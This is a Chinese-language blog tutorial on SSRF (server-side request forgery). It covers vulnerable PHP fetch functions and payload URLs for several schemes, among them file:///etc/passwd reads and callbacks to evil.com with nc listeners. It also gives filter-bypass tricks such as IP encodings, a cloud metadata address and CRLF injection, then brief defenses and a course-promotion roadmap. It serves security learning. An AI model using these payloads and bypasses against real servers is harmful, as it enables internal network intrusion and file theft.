别再裸奔了!网络安全SSRF漏洞攻防秘籍,从零基础到精通,收藏这篇就够了!

一、啥是SSRF?听我BB两句

SSRF (Server-Side Request Forgery,服务器端请求伪造),这货就像个内鬼,让你的服务器成了黑客的肉鸡,替他去访问那些原本外网摸不着的内部系统。简单说,就是黑客操控你的服务器,去干一些它本不该干的事情。

为啥要搞SSRF?因为内部系统往往藏着更多秘密,而且防护通常不如外网严密。一旦得手,嘿嘿嘿…

二、SSRF漏洞:隔墙有耳,服务器变间谍

SSRF漏洞的根源,在于服务端提供了从其他服务器获取数据的“贴心”功能,但是!没有对目标地址进行严格的过滤和限制,这就给了黑客可乘之机

在这里插入图片描述

想象一下,黑客让你的服务器去请求一个恶意URL,获取网页内容、加载图片、下载文件… 你的服务器就成了黑客的傀儡,在内网横行霸道

三、哪里能挖到SSRF的“矿”?

SSRF漏洞就像捉迷藏,藏得很深,但只要掌握技巧,就能把它揪出来。

1、“一键分享”背后的秘密:分享功能看似方便,但如果服务端没对分享的URL进行严格校验,就可能存在SSRF。

在这里插入图片描述

2、“转码神器”的潜在危机:为了让网页在手机上更好地显示,转码服务应运而生。但如果转码过程中存在漏洞,黑客就能利用SSRF搞事情。

3、“在线翻译”的暗藏杀机:在线翻译功能需要从URL获取文本内容,如果服务端没做好安全措施,黑客就能让服务器去访问恶意地址。

在这里插入图片描述

4、“收藏夹”里的猫腻:文章收藏功能需要获取URL的标题和内容,如果服务端没对URL进行限制,就可能存在SSRF漏洞。

http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de


5、“神秘API”的风险:一些未公开的API,如果需要调用URL来加载内容,也可能存在SSRF漏洞。

在这里插入图片描述

6、“图片加载”的陷阱:加载远程图片看似平常,但如果服务端对图片URL没有严格限制,就可能被黑客利用。

别以为加载自家服务器的图片就万事大吉! 为了更好的用户体验,开发者可能会对图片进行处理,这就可能引入SSRF漏洞。)

7、从URL关键字入手:用Google搜索这些关键词,可能会有意想不到的收获:

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain


一句话总结: 只要是服务器会从自身发起请求的功能点,而且你能控制请求的地址,就可能存在SSRF漏洞!

四、PHP:SSRF漏洞的“高发地”

SSRF漏洞不挑语言,但PHP由于其特性,更容易出现SSRF漏洞。下面列举几个PHP中常见的“背锅侠”函数:

1、file_get_contents:

这个函数可以从URL获取内容,如果没做好安全限制,就可能被黑客利用。

<?php
if (isset($_POST['url'])) 
{ 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src="".$filename.""/>"; 
} 
echo $img; 
?>


2、sockopen():

这个函数会建立TCP连接,传输原始数据,如果目标地址可控,就可能被用于SSRF攻击。

<?php 
function GetFile($host,$port,$link) 
{ 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) 
"; 
    } else { 
        $out = "GET $link HTTP/1.1
"; 
        $out .= "Host: $host
"; 
        $out .= "Connection: Close

"; 
        $out .= "
"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>


3、curl_exec():

cURL是另一个常用的数据获取方式,如果没做好安全配置,同样可能被用于SSRF攻击。

<?php 
if (isset($_POST['url']))
{
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>


温馨提示:

一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议


五、SSRF的“七十二变”:URL伪协议

一旦发现SSRF漏洞,赶紧试试这些URL伪协议,说不定有惊喜!

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload


1、file协议:

用它可以读取服务器上的文件,敏感信息一览无余

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini


2、dict协议:

可以用来探测端口,获取服务信息

http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0


3、sftp协议:

可以进行SSH连接,想想就刺激

http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2


4、ldap协议:

可以访问LDAP目录服务,获取用户信息

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit


5、tftp协议:

可以进行文件传输,上传恶意文件

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3


6、gopher协议:

一个强大的协议,可以构造各种payload,实现各种攻击

http://example.com/ssrf.php?url=http://attacker.com/gopher.php 
gopher.php (host it on acttacker.com):-
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest


六、SSRF的“七宗罪”:危害有多大?
  1. 内网扫描:探测内网端口,获取服务banner信息,暴露内网架构
  2. 攻击内网应用:对内网应用进行溢出攻击,控制内网服务器
  3. 指纹识别:通过访问默认文件,识别内网应用类型,为进一步攻击做准备
  4. 攻击内外网Web应用:利用GET参数,进行SQL注入、Struts2漏洞攻击,获取敏感数据
  5. 读取本地文件:利用file协议,窃取敏感信息
  6. 协议探测:利用各种协议,探测内网服务,扩大攻击面
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21


七、见招拆招:SSRF绕过术

有些网站做了限制,想方设法阻止SSRF攻击,但道高一尺魔高一丈,黑客总能找到绕过的方法。

一、常见绕过姿势

1、域名限制?用@来搞定!

http://www.aaa.com@www.bbb.com@www.ccc.com


2、短网址:让长URL无处遁形!

比如:https://dwz.cn/

3、进制转换:迷惑你的双眼!

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433


在这里插入图片描述

4、特殊域名:DNS解析的秘密!

127.0.0.1.xip.io


5、[::]:绕过localhost的利器!

http://[::169.254.169.254]


6、句号大法:你以为我不知道你是127.0.0.1?

127。0。0。1


7、CRLF注入:HTTP头部任你玩!

example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 


8、封闭字母数字:让你眼花缭乱!

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]


二、常见限制及绕过

  1. 只允许访问www.xxx.com?

    • 用@绕过:http://www.xxx.com@www.xxc.com
      2. 不允许访问内网IP?

    • 短网址

    • 特殊域名

    • 进制转换
      3. 只允许HTTP协议?

    • 302跳转

    • 短地址

八、亡羊补牢:SSRF防御指南
  1. 过滤返回信息:验证远程服务器的响应是否符合预期,防止恶意数据返回
  2. 统一错误信息:避免泄露服务器端口状态,增加攻击难度
  3. 限制端口:只允许访问HTTP常用端口,缩小攻击面
  4. 黑名单IP:禁止访问内网IP,防止内网渗透
  5. 禁用协议:只允许HTTP和HTTPS请求,杜绝其他协议带来的风险

网络安全学习路线&学习资源在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值